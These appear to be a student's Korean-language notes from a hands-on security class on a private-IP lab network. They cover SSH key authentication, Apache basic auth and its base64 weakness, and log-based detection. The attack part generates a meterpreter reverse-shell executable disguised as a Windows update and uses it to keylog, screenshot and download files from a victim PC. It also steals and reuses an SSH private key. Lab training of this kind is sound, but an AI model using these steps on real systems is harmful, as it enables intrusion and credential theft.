msfconsole -r /home/kali/malware.rc 침투 흔적 메일로 받은 흔적도 추적 해커 > 또는 웹으로 흔적을 만들고 추적 웹사이트 < 관리자 서버 언제 침투가 되었는지? 웹으로 바로 접속하면 추적할 수 없음(특별한 이벤트 없음) 관리자 pc에 유니버설 포워드 또는 윈 비트를 깔고 분석을 해야한다. splunk enterprise = elasticsearch wonlogbeat : 지정된 서버로 패킷을 보내 추적 해커에게 노출된 암호는 안전한가? > 키로거 작동 > 화면 스크린샷 kali ~/public_html msfvenom --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=4444 -b "\x00" -f exe -o /home/kali/windows_update_20250121001.exe (악성코드 생성) msfconsole -r malware.rc (대기) 피해자가 악성코드 파일 실행 netstat -ant (연결 확인) 피해자 확인 방법 cmd netstat -ant | find "192.168.56.101" (포트 4444 확인) hacker keyscan_start keyscan_dump admin/123456 확인 (임시저장된 아이디를 누르면 직접 치지 않는한 확인되지 않음) screenshot to: /home/kali/vQQwssis.jpeg download ls (현재 경로 C:\Users\manager\Desktop 확인) show_mount (드라이브 보기) cd Z:\ (Z폴더로 이동) ls download (파일이름) (completed : 파일 -> /home/kali/파일(저장 경로확인))
주기적으로 변경하는게 안전한 것인가? 키로그로 보면 바꿔도 다시 알 수 있다. 안전하지 않다면 어떠한 조치를 취해야 하는가? *키인증방식 key : 암호화 키 생성 서버가 아닌 putty에서 설정 미션 192.168.0.92로 본인의 계정을 이용하여 접속하라! www서버 nat로 연결 xshell ssh 192.168.0.214 1. 패스워드 대신 키인증 방식으로 바꿔보자 키 생성하기 cd /etc/ssh/sshd_config.d nano 50-cloud-init.conf passwordauthentication no #PublickeyAuthentication yes #PasswordAuthentication no #KbdInteractiveAuthentication no #AuthorizedKeysFile .ssh/authorized_keys 서버설정 ssh-keygen(master) enter/123456/123456 ls (key생성 확인) cd /home/master/.ssh cat authorized_keys (비어있음) cat id_ed25519.pub >> authorized_keys sz id_ed25519 (저장) \102 공유 폴더에서 개인키 가져오기 #scp master@192.168.0.213:/home/master/.ssh/id_ed25519 ~/.ssh (공유폴더 없을 경우) ssh master@192.168.0.213 [공개키][개인키] 왼쪽:서버 오른쪽:클라이언트 cmd ftp 192.168.56.102 (master/123456) cd .ssh get id_ed25519 bye (경로 c:user/manager/) putty로 개인키 만들기 keygen > conversions > import key > save private key (!!!권한 777준 상태에서 가져와야 사용가능!!!) putty >connection >ssh master > auth > cridential > private key file browse... ip 연결Bootstrap Example 미션: 키인증 취약점 이해하기
바탕화면에 저장된 서버의 개인키를 유출하라! 로그와 패킷을 통해 유출된 흔적을 찾아라 유출한 키로 서버에 접속 가능한지 확인하라 hacker search -f id_ed25519 download 경로:\Users\manager\Desktop\putty\id_ed25519 show_mount (드라이브 보기) cd C:\ (C폴더로 이동) ls download -f pkey.ppk su apt -y install putty-tools puttygen pkey.ppk -O private-openssh -o pkey.pem chmod 600 pkey.pem ssh -i pkey.pem master@192.168.56.102
비밀번호도 인증키도 안쓰고 싶으면? # Kerberos edit+ header.php nano /etc/apache2/sites-available/auth-basic.confAuthType Basic AuthName "Basic" AuthUserFile /etc/apache2/.htpasswd require valid-user systemctl restart apache2 st.kr/auth-basic cd /var/www/html mkdir auth-basic cd auth-basic/ touch index.html htpasswd -Bc /etc/apache2/.htpasswd master systemctl reload apache2 a2ensite auth-basic 교재 325페이지 kali > st.kr/auth-basic (인증틀림) elasticsearch 401 unauth...확인가능 ------------------------------ 인증이란? 웹 기본 인증 : 매우 취약함 패킷 잡아 인코딩 확인 wireshark에서 찾아낸 auth-basic 패킷을 살펴보면 인증 취약점 발견 : 디코딩만 하면 암호 발견할 수 있음!! 디코딩 하기 import base64 import json data = {"username":"master","password":"123456"} json_data = json.dump(data) encoded_json = base64.b64encode(json_data.encode('utf-8')) print("Encode JSON:",encoded_json.decode('utf-8')) import base64 import json data = {"username":"master","password":"123456"} json_data = json.dumps(data) encoded_json = base64.b64encode(json_data.encode('utf-8')) print("Encode JSON:",encoded_json.decode('utf-8')) decoded_json = base64.b64decode(encoded_json).decode('utf-8') decoded_data = json.loads(decoded_json) print("Decoded JSON:",decoded_data) => Encode JSON: eyJ1c2VybmFtZSI6ICJtYXN0ZXIiLCAicGFzc3dvcmQiOiAiMTIzNDU2In0= Decoded JSON: {'username': 'master', 'password': '123456'} 인증 프레임워크 방식 적용 패스워드 > 키 인증 방식 > 웹기반 인증 > 취약함 (옛날 공유기나 카메라에 사용) PAM 모듈 인증 HTTPS 구축 apt install openssl SSL 설치(자체 ssl 설치) 설치방법1 설치방법2 let's encrypt (외부 연결 필요) 윈도우 2025 서버 LDAP 인증 커버로스 인증 ( sshd 설정 변경 가능함)